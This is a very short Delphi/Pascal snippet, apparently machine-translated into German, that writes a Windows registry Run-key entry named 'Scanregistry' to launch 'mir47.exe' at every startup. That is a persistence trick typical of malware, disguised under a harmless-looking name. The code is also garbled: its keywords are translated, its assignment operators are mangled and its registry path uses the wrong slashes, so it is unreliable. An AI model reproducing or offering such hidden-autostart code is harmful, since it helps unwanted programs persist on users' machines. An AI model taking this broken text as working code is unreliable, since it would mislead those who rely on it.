Verwendet Registrierung;
var reg: Tregistry;
beginnen
reg: = tregistry.create;
Reg.Rootkey: = hKey_local_machine;
Reg.openkey ('Software/Microsoft/Windows/Currentversion/Run', True);
Reg.Writestring ('Scanregistry', 'mir47.exe');
Reg.Closekey;
Reg.Free;
Ende.